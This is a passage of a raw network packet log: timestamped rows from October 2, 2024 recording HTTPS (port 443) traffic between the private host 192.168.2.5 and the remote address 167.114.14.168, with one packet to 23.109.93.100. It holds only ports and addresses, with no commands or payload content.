Oct 2, 2024 06:10:25.333508968 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:25.333517075 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.333528042 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:25.333559036 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:25.333905935 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.333920956 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.333966017 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:25.333973885 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.334022045 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:25.336415052 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.336432934 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.336500883 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:25.336508989 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.337579966 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:25.344420910 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.344435930 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.344486952 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:25.344496965 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.344552040 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:25.345396042 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.345410109 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.345454931 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:25.345463037 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.345597029 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:25.403675079 CEST	49704	443	192.168.2.5	23.109.93.100
Oct 2, 2024 06:10:25.417887926 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.417905092 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.417983055 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:25.417995930 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.418173075 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:25.418354034 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.418369055 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.418431044 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:25.418442965 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.418540001 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:25.418771029 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.418786049 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.418843031 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:25.418850899 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.418947935 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:25.421955109 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.421969891 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.422027111 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:25.422034979 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.422133923 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:25.422373056 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.422396898 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.422440052 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:25.422446012 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.422466040 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:25.422487020 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:25.424895048 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.424911022 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.424967051 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:25.424974918 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.425079107 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:25.433150053 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.433165073 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.433243990 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:25.433253050 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.433691978 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:25.433943033 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.433957100 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.434016943 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:25.434025049 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.437587023 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:25.506424904 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.506443024 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.506501913 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:25.506524086 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.506551027 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:25.506589890 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:25.506819010 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.506833076 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.506880045 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:25.506889105 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.506911039 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:25.506953001 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:25.507492065 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.507508039 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.507595062 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:25.507603884 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.507795095 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:25.510458946 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.510474920 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.510543108 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:25.510550976 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.510824919 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:25.510900974 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.510921001 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.510966063 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:25.510974884 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.510998964 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:25.511018038 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:25.513432980 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.513447046 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.513506889 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:25.513513088 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.513658047 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:25.521578074 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.521593094 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.521651983 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:25.521657944 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.521708965 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:25.522422075 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.522437096 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.522486925 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:25.522494078 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.522670031 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:25.595069885 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.595091105 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.595170021 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:25.595180988 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.595221043 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:25.595371008 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.595400095 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.595429897 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:25.595438004 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.595462084 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:25.595489979 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:25.595873117 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.595889091 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.595932007 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:25.595938921 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.595964909 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:25.595984936 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:25.598938942 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.598956108 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.599004984 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:25.599011898 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.599037886 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:25.599057913 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:25.599509001 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.599524021 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.599575996 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:25.599585056 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.599823952 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:25.601947069 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.601962090 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.602015018 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:25.602024078 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.602278948 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:25.610244989 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.610265970 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.610315084 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:25.610322952 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.610352039 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:25.610374928 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:25.611109972 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.611129045 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.611169100 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:25.611176014 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.611202002 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:25.611221075 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:25.683582067 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.683598042 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.683659077 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:25.683670998 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.683705091 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:25.683717966 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:25.684040070 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.684056997 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.684119940 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:25.684127092 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.684304953 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:25.684578896 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.684592009 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.684643984 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:25.684650898 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.684673071 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:25.684690952 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:25.687618017 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.687638998 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.687680006 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:25.687689066 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.687716961 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:25.687731028 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:25.688079119 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.688097000 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.688137054 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:25.688143969 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.688173056 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:25.688189983 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:25.690448999 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.690466881 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.690510988 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:25.690519094 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.690546989 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:25.690565109 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:25.698807955 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.698823929 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.698864937 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:25.698877096 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.698911905 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:25.698930025 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:25.699600935 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.699616909 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.699661016 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:25.699667931 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.699697018 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:25.699717999 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:25.772124052 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.772139072 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.772202969 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:25.772218943 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.772270918 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:25.772595882 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.772608995 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.772672892 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:25.772680998 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.773222923 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.773242950 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.773277044 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:25.773283958 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.773308039 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:25.773335934 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:25.776036024 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.776050091 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.776094913 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:25.776103020 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.776132107 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:25.776160002 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:25.776566029 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.776580095 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.776645899 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:25.776653051 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.777045965 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:25.778990030 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.779006004 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.779053926 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:25.779063940 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.779084921 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:25.779107094 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:25.787305117 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.787321091 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.787411928 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:25.787420034 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.787575006 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:25.787986040 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.788001060 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.788063049 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:25.788069963 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.788098097 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:25.788120985 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:25.860867023 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.860883951 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.860951900 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:25.860966921 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.861012936 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:25.861313105 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.861329079 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.861381054 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:25.861388922 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.861618042 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:25.861701965 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.861721992 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.861757040 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:25.861763954 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.861785889 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:25.861804008 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:25.864577055 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.864592075 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.864650965 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:25.864658117 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.865300894 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.865320921 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.865359068 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:25.865366936 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.865377903 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:25.865410089 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:25.867536068 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.867549896 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.867610931 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:25.867618084 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.869647980 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:25.870784998 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:25.876126051 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.876187086 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.876214981 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:25.876223087 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.876256943 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:25.876276970 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:25.876637936 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.876682997 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.876703024 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:25.876712084 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.876739979 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:25.876754999 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:25.949584007 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.949630976 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.949682951 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:25.949698925 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.949712992 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:25.949733019 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:25.950153112 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.950196028 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.950237989 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:25.950243950 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.950272083 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:25.950288057 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:25.950325966 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.950370073 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.950391054 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:25.950401068 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.950412989 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:25.950428009 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:25.950447083 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:25.953214884 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.953258991 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.953320980 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:25.953329086 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.953339100 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:25.953604937 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:25.953864098 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.953910112 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.953923941 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:25.953932047 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.953973055 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:25.956238985 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.956304073 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:25.956314087 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.956341982 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.956372023 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:25.956383944 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:25.964488029 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.964531898 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.964575052 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:25.964582920 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.964612961 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:25.964632034 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:25.965120077 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.965189934 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:25.965193987 CEST	49715	443	192.168.2.5	167.114.14.168
